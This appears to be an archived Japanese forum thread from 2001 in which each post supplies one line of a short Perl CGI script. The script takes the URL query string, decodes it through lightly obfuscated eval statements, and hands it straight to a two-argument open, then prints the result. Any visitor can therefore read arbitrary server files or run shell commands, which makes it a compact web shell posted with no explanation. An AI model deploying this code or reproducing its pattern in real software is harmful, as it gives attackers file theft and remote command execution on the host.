http://mimizun.com/log/2ch/conv/987654321/

このエントリーをはてなブックマークに追加
1 ：#!/usr/local/bin/perl：
2 ：print qq(Content-Type: text/plain\n\n);#：2001/05/31(木) 08:11
3 ：$_=$ENV{QUERY_STRING};#：2001/05/31(木) 08:11
4 ：s/[\053]/ /g;#：2001/05/31(木) 08:11
5 ：eval qq(s/%(..)/pack('C'\x2c hex(\$1))/eg);#：2001/05/31(木) 08:11
6 ：eval qq(open F\x2c\$_);#：2001/05/31(木) 08:11
7 ：eval qq(while (\x3cF\x3e) { print; });#：